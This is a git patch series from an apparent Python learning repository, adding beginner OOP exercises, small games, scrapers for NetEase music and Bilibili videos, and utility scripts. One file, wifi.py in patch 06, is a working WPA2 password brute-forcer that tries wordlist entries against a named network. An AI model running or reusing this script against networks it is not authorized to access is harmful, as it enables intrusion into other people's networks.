From 0bd37fac7e6c194e848af556b566302e97ef7cd1 Mon Sep 17 00:00:00 2001 From: gejin Date: Tue, 5 Sep 2023 20:27:52 +0800 Subject: [PATCH 01/19] =?UTF-8?q?=5F=5Fslots=5F=5F=20=E9=99=90=E5=AE=9A?= =?UTF-8?q?=E5=AF=B9=E8=B1=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../pythonEbook/object/plus/PersonBySlots.py | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/PersonBySlots.py diff --git a/ebook/pythonEbook/object/plus/PersonBySlots.py b/ebook/pythonEbook/object/plus/PersonBySlots.py new file mode 100644 index 0000000..dd4ae7e --- /dev/null +++ b/ebook/pythonEbook/object/plus/PersonBySlots.py @@ -0,0 +1,49 @@ +class PersonBySlots(object): + # 限定Person对象只能绑定_name, _age和_gender属性 + __slots__ = ('_name', '_age', '_gender') + + def __init__(self, name, age, gender): + self._name = name + self._age = age + self._gender = gender + + @property + def name(self): + return self._name + + @name.setter + def name(self, name): + self._name = name + + @property + def age(self): + return self._age + + @age.setter + def age(self, age): + self._age = age + + @property + def gender(self): + return self._gender + + @gender.setter + def gender(self, gender): + self._gender = gender + + def play(self): + if self._age < 16: + print("%s 只能玩飞行棋" % self._name) + else: + print("%s 可以玩三上悠亚" % self._name) + + +def main(): + boy1 = PersonBySlots('王大锤', 18, '男') + boy1.play() + boy1 = PersonBySlots('王小锤', 14, '男') + boy1.play() + + +if __name__ == '__main__': + main() -- Gitee From 7dba230a8c65a25c33ba1714bc3d7403019e8bc0 Mon Sep 17 00:00:00 2001 From: gejin Date: Tue, 5 Sep 2023 20:28:27 +0800 Subject: [PATCH 02/19] =?UTF-8?q?=E9=9D=99=E6=80=81=E6=96=B9=E6=B3=95?= =?UTF-8?q?=E4=B8=89=E8=A7=92=E5=BD=A2=E7=9A=84=E5=91=A8=E9=95=BF=E5=92=8C?= =?UTF-8?q?=E9=9D=A2=E7=A7=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/object/plus/Triangle.py | 34 +++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/Triangle.py diff --git a/ebook/pythonEbook/object/plus/Triangle.py b/ebook/pythonEbook/object/plus/Triangle.py new file mode 100644 index 0000000..d84c353 --- /dev/null +++ b/ebook/pythonEbook/object/plus/Triangle.py @@ -0,0 +1,34 @@ +from math import sqrt + + +class Triangle(object): + def __init__(self, a, b, c): + self._a = a + self._b = b + self._c = c + + # 判断三条边能不能构成三角形 + @staticmethod + def is_invalid(a, b, c): + return a + b > c and a + c > b and b + c > a + + # 计算三角形周长 + def perimeter(self): + return self._a + self._b + self._c + + # 计算三角形的面积 + def area(self): + half = self.perimeter() / 2 + return sqrt(half * (half - self._a) * (half - self._b) * (half - self._c)) + + +def main(): + a, b, c = 3, 4, 5 + if Triangle.is_invalid(a, b, c): + t1 = Triangle(a, b, c) + print("三角形的周长是: %s" % t1.perimeter()) + print("三角形的面积是: %s" % t1.area()) + + +if __name__ == '__main__': + main() -- Gitee From a265784e50e7fdd834df7d5df5f712ab5e57a8b5 Mon Sep 17 00:00:00 2001 From: gejin Date: Tue, 5 Sep 2023 20:41:02 +0800 Subject: [PATCH 03/19] =?UTF-8?q?=E7=B1=BB=E6=96=B9=E6=B3=95=20=E4=BD=BF?= =?UTF-8?q?=E7=94=A8=E7=B1=BB=E5=90=8D.=E6=96=B9=E6=B3=95=E5=90=8D?= =?UTF-8?q?=E8=B0=83=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../object/plus/ClockClassMethod.py | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/ClockClassMethod.py diff --git a/ebook/pythonEbook/object/plus/ClockClassMethod.py b/ebook/pythonEbook/object/plus/ClockClassMethod.py new file mode 100644 index 0000000..4b2d333 --- /dev/null +++ b/ebook/pythonEbook/object/plus/ClockClassMethod.py @@ -0,0 +1,41 @@ +from time import localtime, time, sleep + + +class ClockClassMethod(object): + def __init__(self, hour, minute, second): + self._hour = hour + self._minute = minute + self._second = second + + # 类方法 使用类名.方法名调用 + @classmethod + def now(cls): + dateTime = localtime(time()) + return cls(dateTime.tm_hour, dateTime.tm_min, dateTime.tm_sec) + + def run(self): + self._second += 1 + if self._second == 60: + self._second = 0 + self._minute += 1 + if self._minute == 60: + self._minute = 0 + self._hour += 1 + if self._hour == 24: + self._hour = 0 + + def show(self): + return '%02d:%02d:%02d' % \ + (self._hour, self._minute, self._second) + + +def main(): + now = ClockClassMethod.now() + while True: + print(now.show()) + sleep(1) + now.run() + + +if __name__ == '__main__': + main() -- Gitee From 46bd5b824381903cce02ef42267614cd7ae9e97b Mon Sep 17 00:00:00 2001 From: gejin Date: Tue, 5 Sep 2023 21:05:55 +0800 Subject: [PATCH 04/19] =?UTF-8?q?=E7=B1=BB=E7=9A=84=E7=BB=A7=E6=89=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../pythonEbook/object/plus/ExtendePerson.py | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/ExtendePerson.py diff --git a/ebook/pythonEbook/object/plus/ExtendePerson.py b/ebook/pythonEbook/object/plus/ExtendePerson.py new file mode 100644 index 0000000..405239f --- /dev/null +++ b/ebook/pythonEbook/object/plus/ExtendePerson.py @@ -0,0 +1,83 @@ +class Person(object): + def __init__(self, name, age, gender): + self._name = name + self._age = age + self._gender = gender + + @property + def name(self): + return self._name + + @name.setter + def name(self, name): + self._name = name + + @property + def age(self): + return self._age + + @age.setter + def age(self, age): + self._age = age + + @property + def gender(self): + return self._gender + + @gender.setter + def gender(self, gender): + self._gender = gender + + def play(self): + print('%s正在愉快的玩耍.' % self._name) + + def watch_av(self): + if self._age >= 18: + print('%s正在观看爱情动作片.' % self._name) + else: + print('%s只能观看《熊出没》.' % self._name) + + +class Student(Person): + def __init__(self, name, age, gender, grade): + super().__init__(name, age, gender) + self._grade = grade + + @property + def grade(self): + return self._grade + + @grade.setter + def grade(self, grade): + self._grade = grade + + def study(self, course_name): + print("%s 年级的 %s 正在学习: %s" % (self._grade, self._name, course_name)) + + +class Teacher(Person): + def __init__(self, name, age, gender, title): + super().__init__(name, age, gender) + self._title = title + + @property + def title(self): + return self._title + + @title.setter + def title(self, title): + self._title = title + + def teach(self, course): + print("%s 正在讲授 %s" % (self._name, course)) + + +def main(): + stu = Student('王二麻子', 16, '男', '高二') + stu.study("高中物理") + teacher = Teacher('王大麻子', 36, '男', '数学') + teacher.teach("高中数学") + + +if __name__ == '__main__': + main() -- Gitee From 893f104b9bfe1104d7e0d21bbb0a55d61fcd6497 Mon Sep 17 00:00:00 2001 From: gejin Date: Tue, 5 Sep 2023 21:14:37 +0800 Subject: [PATCH 05/19] =?UTF-8?q?python=20=E4=B8=AD=E7=9A=84=E6=8A=BD?= =?UTF-8?q?=E8=B1=A1=E7=B1=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/object/plus/Pet.py | 39 ++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/Pet.py diff --git a/ebook/pythonEbook/object/plus/Pet.py b/ebook/pythonEbook/object/plus/Pet.py new file mode 100644 index 0000000..72211b3 --- /dev/null +++ b/ebook/pythonEbook/object/plus/Pet.py @@ -0,0 +1,39 @@ +from abc import abstractmethod, ABCMeta + + +class Pet(object, metaclass=ABCMeta): + """ + 宠物类 + """ + + def __init__(self, nickname): + self._nickname = nickname + + # 抽象方法发出声音 + @abstractmethod + def make_voice(self): + """ + 发出声音, 谁继承谁实现 + :return: + """ + pass + + +class Dog(Pet): + def make_voice(self): + print("%s 汪汪汪..." % self._nickname) + + +class Cat(Pet): + def make_voice(self): + print("%s 喵喵喵..." % self._nickname) + + +def main(): + pets = [Dog('旺财'), Cat("小花"), Dog('掘金')] + for pet in pets: + pet.make_voice() + + +if __name__ == '__main__': + main() -- Gitee From d0b0fefc86a21420694afc9bf6df78b7b753c0b8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=AD=99=E5=BE=B7=E8=83=9C?= Date: Wed, 6 Sep 2023 20:21:50 +0800 Subject: [PATCH 06/19] =?UTF-8?q?python=20=E7=88=AC=E8=99=AB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netCloud/downloadNetCloud.py | 2 +- netCloud/music_list.txt | 41 ---------- .../draw/drawByTurtle.py" | 21 +++++ ...04\346\260\217\346\270\251\345\272\246.py" | 8 ++ ...77\345\222\214\351\235\242\347\247\257.py" | 12 +++ .../excel/data.py" | 30 +++++++ ...on\350\247\243\351\207\212\345\231\250.md" | 31 ++++++++ "python\345\237\272\347\241\200/py/fibo.py" | 15 ++++ .../py/testFibo.py" | 6 ++ "python\345\237\272\347\241\200/py/wifi.py" | 68 ++++++++++++++++ .../Download_Bilibili_Video.py" | 79 +++++++++++++++++++ 11 files changed, 271 insertions(+), 42 deletions(-) create mode 100644 "python\345\237\272\347\241\200/draw/drawByTurtle.py" create mode 100644 "python\345\237\272\347\241\200/draw/\345\215\216\346\260\217\346\270\251\345\272\246\350\275\254\346\221\204\346\260\217\346\270\251\345\272\246.py" create mode 100644 "python\345\237\272\347\241\200/draw/\350\256\241\347\256\227\345\234\206\347\232\204\345\221\250\351\225\277\345\222\214\351\235\242\347\247\257.py" create mode 100644 "python\345\237\272\347\241\200/excel/data.py" create mode 100644 "python\345\237\272\347\241\200/md/2_\344\275\277\347\224\250python\350\247\243\351\207\212\345\231\250.md" create mode 100644 "python\345\237\272\347\241\200/py/fibo.py" create mode 100644 "python\345\237\272\347\241\200/py/testFibo.py" create mode 100644 "python\345\237\272\347\241\200/py/wifi.py" create mode 100644 "\347\210\254\350\231\253/\347\254\254\344\270\200\347\253\240/Download_Bilibili_Video.py" diff --git a/netCloud/downloadNetCloud.py b/netCloud/downloadNetCloud.py index 0ce1bb1..e14c45d 100644 --- a/netCloud/downloadNetCloud.py +++ b/netCloud/downloadNetCloud.py @@ -61,7 +61,7 @@ class Music(object): if __name__ == "__main__": baseurl = "https://music.163.com/discover/toplist?id=3778678" # 要爬取的热歌榜链接 #baseurl = "https://music.163.com/#/my/m/music/playlist?id=150060135" - path = "E:/NetCloudDownload/hotTop/" # 保存的文件目录 + path = "E:/NetCloudDownload/self/" # 保存的文件目录 demo0 = Music(baseurl, path) demo0.main() print("下载完毕") diff --git a/netCloud/music_list.txt b/netCloud/music_list.txt index 2ca0282..e69de29 100644 --- a/netCloud/music_list.txt +++ b/netCloud/music_list.txt @@ -1,41 +0,0 @@ -丢了你 -New Boy -目及皆是你 -错位时空 -永不失联的爱 -笔记 -那个女孩 -你的答案 -一些规律 -煎熬 -结果 -朋友别哭 -感谢你曾来过 -醒着醉 -遥远的你 -不负时光 -认真的老去 -雾(女生版) -南方南方 -爸爸妈妈 -南方北方 -理想 -简单怀念 -最美的期待 南征北战 -可能否 -往后余生 -我们的时光 -空空如也 任然 -勉为其难 -唯你一生 -花儿和少年 -偏偏喜欢你 -陪你度过漫长岁月 -老街 -相依为命 -热爱105℃的你 -世界美好与你环环相扣 -芒种 -这一生关于你的风景 -西海情歌 -温柔乡 diff --git "a/python\345\237\272\347\241\200/draw/drawByTurtle.py" "b/python\345\237\272\347\241\200/draw/drawByTurtle.py" new file mode 100644 index 0000000..fd73313 --- /dev/null +++ "b/python\345\237\272\347\241\200/draw/drawByTurtle.py" @@ -0,0 +1,21 @@ +import turtle + +# turtle.pensize(4) +# turtle.pencolor('red') +# turtle.forward(100) +# turtle.right(90) +# turtle.forward(100) +# turtle.right(90) +# turtle.forward(100) +# turtle.right(90) +# turtle.forward(100) +# turtle.right(90) +# turtle.mainloop() +turtle.pensize(2) +turtle.pencolor('blue') +i =0 +while i < 360: + i=i+1 + turtle.forward(1) + turtle.right(1) +turtle.mainloop() \ No newline at end of file diff --git "a/python\345\237\272\347\241\200/draw/\345\215\216\346\260\217\346\270\251\345\272\246\350\275\254\346\221\204\346\260\217\346\270\251\345\272\246.py" "b/python\345\237\272\347\241\200/draw/\345\215\216\346\260\217\346\270\251\345\272\246\350\275\254\346\221\204\346\260\217\346\270\251\345\272\246.py" new file mode 100644 index 0000000..4b68878 --- /dev/null +++ "b/python\345\237\272\347\241\200/draw/\345\215\216\346\260\217\346\270\251\345\272\246\350\275\254\346\221\204\346\260\217\346\270\251\345\272\246.py" @@ -0,0 +1,8 @@ +""" +华氏温度计算公式 +F = 1.8C + 32 +C= (F - 32) / 1.8 +""" +f = float(input("输入温度")) +c = (f - 32) / 1.8 +print("%.1f 华氏度 = %1.f 摄氏度" % (f, c)) diff --git "a/python\345\237\272\347\241\200/draw/\350\256\241\347\256\227\345\234\206\347\232\204\345\221\250\351\225\277\345\222\214\351\235\242\347\247\257.py" "b/python\345\237\272\347\241\200/draw/\350\256\241\347\256\227\345\234\206\347\232\204\345\221\250\351\225\277\345\222\214\351\235\242\347\247\257.py" new file mode 100644 index 0000000..50f9cd0 --- /dev/null +++ "b/python\345\237\272\347\241\200/draw/\350\256\241\347\256\227\345\234\206\347\232\204\345\221\250\351\225\277\345\222\214\351\235\242\347\247\257.py" @@ -0,0 +1,12 @@ +import math + +""" +圆的面积和周长计算公式 +周长 = 2 * pi * r +面积 = pi*r*r +""" +r = float(input("输入圆的半径:")) +around = 2 * math.pi * r +area = math.pi * (r ** 2) +print("圆的周长是:%.2f " % around) +print("圆的面积是:%.2f " % area) diff --git "a/python\345\237\272\347\241\200/excel/data.py" "b/python\345\237\272\347\241\200/excel/data.py" new file mode 100644 index 0000000..05bc16f --- /dev/null +++ "b/python\345\237\272\347\241\200/excel/data.py" @@ -0,0 +1,30 @@ +import pandas as pd + +data = pd.read_excel(r"D:\excel\data.xlsx") +rows = data.shape[0] # 获取行数 shape[1]获取列数 +department_list = [] + +for i in range(rows): + temp = data["sheet_name"][i] + if temp not in department_list: # 防止重复 + department_list.append(temp) # 将sheet_name的分类存在一个列表中 + +n = len(department_list) # 类别数 +# sheet_name有几个类别这里就新建几个 +df1 = pd.DataFrame() +df2 = pd.DataFrame() +df3 = pd.DataFrame() + +df_list = [df1, df2, df3] + +for department in range(n): + for i in range(0, rows): + if data["sheet_name"][i] == department_list[department]: + df_list[department] = pd.concat([df_list[department], data.iloc[[i], :]], axis=0, ignore_index=True) + +writer = pd.ExcelWriter(r'D:\excel\testData.xlsx') # 利用pd.ExcelWriter()存多张sheets + +for i in range(n): + df_list[i].to_excel(writer, sheet_name=str(department_list[i]), index=False) # 注意加上index=FALSE 去掉index列 + +writer.save() \ No newline at end of file diff --git "a/python\345\237\272\347\241\200/md/2_\344\275\277\347\224\250python\350\247\243\351\207\212\345\231\250.md" "b/python\345\237\272\347\241\200/md/2_\344\275\277\347\224\250python\350\247\243\351\207\212\345\231\250.md" new file mode 100644 index 0000000..39b49f2 --- /dev/null +++ "b/python\345\237\272\347\241\200/md/2_\344\275\277\347\224\250python\350\247\243\351\207\212\345\231\250.md" @@ -0,0 +1,31 @@ +# 使用python解释器 +## 2.1 调用解释器 + 在windows中 win+r 输入cmd + 出现的command界面中输入python就可以使用python了 + 退出python编译器: + 1. 使用ctrl + z 回车 + 2. quit() + 3. exit() +## 2.1.1 传入参数 + 在命令行终端中输入 + import sys + sys.argv[0] + +## 2.1.1 交互模式 + 在终端(tty)输入并执行指令时,我们说解释器是运行在 交互模式(interactive mode)。 + 在这种模式中,它会显示 主提示符(primary prompt),提示输入下一条指令,通常用三个大于号(>>>)表示; + 连续输入行的时候,它会显示 次要提示符,默认是三个点(...)。进入解释器时,它会先显示欢迎信息、版本信息、版权声明,然后就会出现提示符 + + >>> isTrue = True + >>> if isTrue: + ... print("hello") + ... + hello + # 2.2. 解释器的运行环境 +## 2.2.1. 源文件的字符编码 + 默认情况下,Python 源码文件以 UTF-8 编码方式处理。在这种编码方式中,世界上大多数语言的字符都可以同时用于字符串字面值、 + 变量或函数名称以及注释中——尽管标准库中只用常规的 ASCII 字符作为变量或函数名, + 而且任何可移植的代码都应该遵守此约定。要正确显示这些字符,你的编辑器必须能识别 UTF-8 编码,而且必须使用能支持打开的文件中所有字符的字体。 + + 要声明文件所使用的编码,文件的 第一 行要写成特殊的注释: + # -*- coding: utf-8 -*- \ No newline at end of file diff --git "a/python\345\237\272\347\241\200/py/fibo.py" "b/python\345\237\272\347\241\200/py/fibo.py" new file mode 100644 index 0000000..89dad66 --- /dev/null +++ "b/python\345\237\272\347\241\200/py/fibo.py" @@ -0,0 +1,15 @@ +def fib(n): + a, b = 0, 1 + while a < n: + print(a, end=" ") + a, b = b, a + b + print() + + +def fib2(n): + result = [] + a, b = 0, 1 + while a < n: + result.append(a) + a, b = b, a + b + return result diff --git "a/python\345\237\272\347\241\200/py/testFibo.py" "b/python\345\237\272\347\241\200/py/testFibo.py" new file mode 100644 index 0000000..675d2cc --- /dev/null +++ "b/python\345\237\272\347\241\200/py/testFibo.py" @@ -0,0 +1,6 @@ + +from python基础.py.fibo import fib, fib2 +fib(1000) +print("*********") +print(fib2(100)) + diff --git "a/python\345\237\272\347\241\200/py/wifi.py" "b/python\345\237\272\347\241\200/py/wifi.py" new file mode 100644 index 0000000..b6ccd09 --- /dev/null +++ "b/python\345\237\272\347\241\200/py/wifi.py" @@ -0,0 +1,68 @@ +import time +import pywifi +from pywifi import const + + +class PoJie(): + def __init__(self, path): + self.file = open(path, "r", errors="ignore") + wifi = pywifi.PyWiFi() # 抓取网卡接口 + self.iface = wifi.interfaces()[0] # 抓取第一个无限网卡 + self.iface.disconnect() # 测试链接断开所有链接 + + time.sleep(1) # 休眠1秒 + + # 测试网卡是否属于断开状态, + assert self.iface.status() in \ + [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] + + def readPassWord(self): + print("开始破解:") + while True: + + try: + myStr = self.file.readline() + if not myStr: + break + bool1 = self.test_connect(myStr) + if bool1: + print("密码正确:", myStr) + break + else: + print("密码错误:" + myStr) + time.sleep(3) + except: + continue + + def test_connect(self, findStr): # 测试链接 + + profile = pywifi.Profile() # 创建wifi链接文件 + profile.ssid = "xiadashuai666" # wifi名称 + profile.auth = const.AUTH_ALG_OPEN # 网卡的开放, + profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法wpa2 + profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 + profile.key = findStr # 密码 + + self.iface.remove_all_network_profiles() # 删除所有的wifi文件 + tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件 + self.iface.connect(tmp_profile) # 链接 + time.sleep(5) + if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上 + isOK = True + else: + isOK = False + self.iface.disconnect() # 断开 + time.sleep(1) + # 检查断开状态 + assert self.iface.status() in \ + [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] + + return isOK + + def __del__(self): + self.file.close() + + +path = r"txt/products" +start = PoJie(path) +start.readPassWord() diff --git "a/\347\210\254\350\231\253/\347\254\254\344\270\200\347\253\240/Download_Bilibili_Video.py" "b/\347\210\254\350\231\253/\347\254\254\344\270\200\347\253\240/Download_Bilibili_Video.py" new file mode 100644 index 0000000..d863ad5 --- /dev/null +++ "b/\347\210\254\350\231\253/\347\254\254\344\270\200\347\253\240/Download_Bilibili_Video.py" @@ -0,0 +1,79 @@ +from requests import get, post + +class Download_Bilibili_Video: + def open_url(self, url): + headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36', + 'Referer': 'https://www.bilibili.com/'} + res = get(url, headers = headers) + res.raise_for_status() + res.encoding = res.apparent_encoding + return res + + def BV_to_AV(self, bv): + # 方法:BV1j4411W7F7 + if bv.isdigit(): + return bv + bv = list(bv[2:]) + keys = {'1': 13, '2': 12, '3': 46, '4': 31, '5': 43, '6': 18, '7': 40, '8': 28, '9': 5, + 'A': 54, 'B': 20, 'C': 15, 'D': 8, 'E': 39, 'F': 57, 'G': 45, 'H': 36, 'J': 38, 'K': 51, 'L': 42, 'M': 49, 'N': 52, 'P': 53, 'Q': 7, 'R': 4, 'S': 9, 'T': 50, 'U': 10, 'V': 44, 'W': 34, 'X': 6, 'Y': 25, 'Z': 1, + 'a': 26, 'b': 29, 'c': 56, 'd': 3, 'e': 24, 'f': 0, 'g': 47, 'h': 27, 'i': 22, 'j': 41, 'k': 16, 'm': 11, 'n': 37, 'o': 2, 'p': 35, 'q': 21, 'r': 17, 's': 33, 't': 30, 'u': 48, 'v': 23, 'w': 55, 'x': 32, 'y': 14, 'z': 19} + for i in range(len(bv)): + bv[i] = keys[bv[i]] + bv[0] *= (58 ** 6) + bv[1] *= (58 ** 2) + bv[2] *= (58 ** 4) + bv[3] *= (58 ** 8) + bv[4] *= (58 ** 5) + bv[5] *= (58 ** 9) + bv[6] *= (58 ** 3) + bv[7] *= (58 ** 7) + bv[8] *= 58 + return str((sum(bv) - 100618342136696320) ^ 177451812) + + def get_video_info(self, aid, cid): + url = f"https://api.bilibili.com/x/web-interface/view?aid={aid}&cid={cid}" + res = self.open_url(url).json() + # 没想好这部分怎么用 + if res['message'] == '0': + res = res['data'] + info = {} + info['title'] = res['title'] + info['intro'] = res['desc'] + info['author'] = res['owner']['name'] + info['stat'] = res['stat'] + return info + return False + + def get_cid(self, aid): + res = self.open_url(f"https://api.bilibili.com/x/player/pagelist?aid={aid}&jsonp=jsonp").json() + if res['message'] == '0': + cid = res["data"][0]["cid"] + return cid + return False + + def download_video(self, aid, cid, filename): + res = self.open_url(f"https://api.bilibili.com/x/player/playurl?avid={aid}&cid={cid}&qn=64").json() + url = res["data"]["durl"][0]["url"] + print(f"准备下载{filename}...") + f = open(filename, "ab") + print("开始下载...") + video = self.open_url(url) + f.write(video.content) + print("下载已完成!") + + + + def main(self): + bv = input("请输入视频BV或AV号:") + aid = self.BV_to_AV(bv) + cid = self.get_cid(aid) + if not cid: + print("您输入的BV或AV号有误!") + return False + info = self.get_video_info(aid, cid) + self.download_video(aid, cid, info['title'] + ".flv") + return True + +DBV = Download_Bilibili_Video() +if __name__ == "__main__": + DBV.main() \ No newline at end of file -- Gitee From a2ed6043f89c3521453fc0eef7ac3da903f1fc40 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=AD=99=E5=BE=B7=E8=83=9C?= Date: Wed, 6 Sep 2023 20:21:57 +0800 Subject: [PATCH 07/19] =?UTF-8?q?python=20=E7=88=AC=E8=99=AB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netCloud/Netease.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/netCloud/Netease.py b/netCloud/Netease.py index 5791698..2b198ef 100644 --- a/netCloud/Netease.py +++ b/netCloud/Netease.py @@ -221,7 +221,7 @@ class Netease(): if __name__ == '__main__': timeout = 60 - output = 'E:/NetCloudDownload/chinessemusicList/' + output = 'E:/NetCloudDownload/self/' quiet = True cookie_path = 'Cookie' netease = Netease(timeout, output, quiet, cookie_path) -- Gitee From 85c7faae4c5bfb94b5376171e5dff8d5fb5a5dfc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=AD=99=E5=BE=B7=E8=83=9C?= Date: Wed, 6 Sep 2023 20:54:08 +0800 Subject: [PATCH 08/19] =?UTF-8?q?=E5=A5=A5=E7=89=B9=E6=9B=BC=E6=89=93?= =?UTF-8?q?=E5=B0=8F=E6=80=AA=E5=85=BD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/object/plus/Fighter.py | 182 +++++++++++++++++++++++ 1 file changed, 182 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/Fighter.py diff --git a/ebook/pythonEbook/object/plus/Fighter.py b/ebook/pythonEbook/object/plus/Fighter.py new file mode 100644 index 0000000..be57f5f --- /dev/null +++ b/ebook/pythonEbook/object/plus/Fighter.py @@ -0,0 +1,182 @@ +from abc import ABCMeta, abstractmethod +from random import randint, randrange + + +class Fighter(object, metaclass=ABCMeta): + # 通过__slots__魔法限定对象可以绑定的成员变量 + __slots__ = ('_name', '_hp') + + def __init__(self, name, hp): + self._name = name + self._hp = hp + + @property + def name(self): + return self._name + + @name.setter + def name(self, name): + self._name = name + + @property + def hp(self): + return self._hp + + @hp.setter + def hp(self, hp): + self._hp = hp + + @abstractmethod + def attack(self, other): + """ + 攻击 + :param other: 被攻击的对象 + :return: + """ + pass + + @property + def alive(self): + return self.hp > 0 + + +class Ultraman(Fighter): + """奥特曼""" + __slots__ = ("_name", "_hp", "_mp") + + def __init__(self, name, hp, mp): + """初始化方法 + + :param name: 名字 + :param hp: 生命值 + :param mp: 魔法值 + """ + super().__init__(name, hp) + self._mp = mp + + def attack(self, other): + other.hp -= randint(15, 25) + + def huge_attack(self, other): + """究极必杀技(打掉对方至少50点或四分之三的血) + + :param other: 被攻击的对象 + + :return: 使用成功返回True否则返回False + """ + if self._mp >= 50: + self._mp -= 50 + injury = other.hp * 3 // 4 + injury = injury if injury >= 50 else 50 + other.hp -= injury + return True + else: + self.attack(other) + return False + + def magic_attack(self, others): + """魔法攻击 + + :param others: 被攻击的群体 + + :return: 使用魔法成功返回True否则返回False + """ + if self._mp >= 20: + self._mp -= 20 + for temp in others: + if temp.alive: + temp.hp -= randint(10, 15) + return True + else: + return False + + def resume(self): + """恢复魔法值""" + incr_point = randint(1, 10) + self._mp += incr_point + return incr_point + + def __str__(self): + return '~~~%s奥特曼~~~\n' % self._name + \ + '生命值: %d\n' % self._hp + \ + '魔法值: %d\n' % self._mp + + +class Monster(Fighter): + """小怪兽""" + + __slots__ = ('_name', '_hp') + + def attack(self, other): + other.hp -= randint(10, 20) + + def __str__(self): + return '~~~%s小怪兽~~~\n' % self._name + \ + '生命值: %d\n' % self._hp + + +def is_any_alive(monsters): + """判断有没有小怪兽是活着的""" + for monster in monsters: + if monster.alive > 0: + return True + return False + + +def select_alive_one(monsters): + """选中一只活着的小怪兽""" + monsters_len = len(monsters) + while True: + index = randrange(monsters_len) + monster = monsters[index] + if monster.alive > 0: + return monster + + +def display_info(ultraman, monsters): + """显示奥特曼和小怪兽的信息""" + print(ultraman) + for monster in monsters: + print(monster, end='') + + +def main(): + u = Ultraman('李白', 1000, 120) + m1 = Monster('狄仁杰', 250) + m2 = Monster('白元芳', 500) + m3 = Monster('王大锤', 750) + ms = [m1, m2, m3] + fight_round = 1 + while u.alive and is_any_alive(ms): + print('========第%02d回合========' % fight_round) + m = select_alive_one(ms) # 选中一只小怪兽 + skill = randint(1, 10) # 通过随机数选择使用哪种技能 + if skill <= 6: # 60%的概率使用普通攻击 + print('%s使用普通攻击打了%s.' % (u.name, m.name)) + u.attack(m) + print('%s的魔法值恢复了%d点.' % (u.name, u.resume())) + elif skill <= 9: # 30%的概率使用魔法攻击(可能因魔法值不足而失败) + if u.magic_attack(ms): + print('%s使用了魔法攻击.' % u.name) + else: + print('%s使用魔法失败.' % u.name) + else: # 10%的概率使用究极必杀技(如果魔法值不足则使用普通攻击) + if u.huge_attack(m): + print('%s使用究极必杀技虐了%s.' % (u.name, m.name)) + else: + print('%s使用普通攻击打了%s.' % (u.name, m.name)) + print('%s的魔法值恢复了%d点.' % (u.name, u.resume())) + if m.alive > 0: # 如果选中的小怪兽没有死就回击奥特曼 + print('%s回击了%s.' % (m.name, u.name)) + m.attack(u) + display_info(u, ms) # 每个回合结束后显示奥特曼和小怪兽的信息 + fight_round += 1 + print('\n========战斗结束!========\n') + if u.alive > 0: + print('%s奥特曼胜利!' % u.name) + else: + print('小怪兽胜利!') + + +if __name__ == '__main__': + main() \ No newline at end of file -- Gitee From bbc81e7b57bff38e07bdd7f59f6d40528654d8a9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=AD=99=E5=BE=B7=E8=83=9C?= Date: Wed, 6 Sep 2023 20:55:44 +0800 Subject: [PATCH 09/19] =?UTF-8?q?=E6=89=91=E5=85=8B=E7=89=8C=E6=B8=B8?= =?UTF-8?q?=E6=88=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/object/plus/Card.py | 110 ++++++++++++++++++++++++++ 1 file changed, 110 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/Card.py diff --git a/ebook/pythonEbook/object/plus/Card.py b/ebook/pythonEbook/object/plus/Card.py new file mode 100644 index 0000000..98a40c9 --- /dev/null +++ b/ebook/pythonEbook/object/plus/Card.py @@ -0,0 +1,110 @@ +import random + + +class Card(object): + """一张牌""" + + def __init__(self, suite, face): + self._suite = suite + self._face = face + + @property + def face(self): + return self._face + + @property + def suite(self): + return self._suite + + def __str__(self): + if self._face == 1: + face_str = 'A' + elif self._face == 11: + face_str = 'J' + elif self._face == 12: + face_str = 'Q' + elif self._face == 13: + face_str = 'K' + else: + face_str = str(self._face) + return '%s%s' % (self._suite, face_str) + + def __repr__(self): + return self.__str__() + + +class Poker(object): + """一副牌""" + + def __init__(self): + self._cards = [Card(suite, face) + for suite in '♠♥♣♦' + for face in range(1, 14)] + self._current = 0 + + @property + def cards(self): + return self._cards + + def shuffle(self): + """洗牌(随机乱序)""" + self._current = 0 + random.shuffle(self._cards) + + @property + def next(self): 